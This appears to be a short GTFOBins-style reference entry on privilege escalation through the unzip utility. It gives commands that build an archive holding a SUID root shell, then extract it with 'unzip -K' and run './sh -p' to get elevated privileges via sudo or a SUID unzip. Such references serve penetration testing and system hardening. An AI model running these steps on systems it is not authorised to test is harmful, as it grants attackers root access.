Comment

Certain unzip versions allows to preserve the SUID bit. For example, prepare an archive beforehand with the following commands as root:

cp /bin/sh .
chmod +s sh
zip shell.zip sh

Privilege escalation

This executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such as setting the SUID bit or modifying the ownership of another executable.
  1. This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    unzip -K shell.zip
    ./sh -p
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    unzip -K shell.zip
    ./sh -p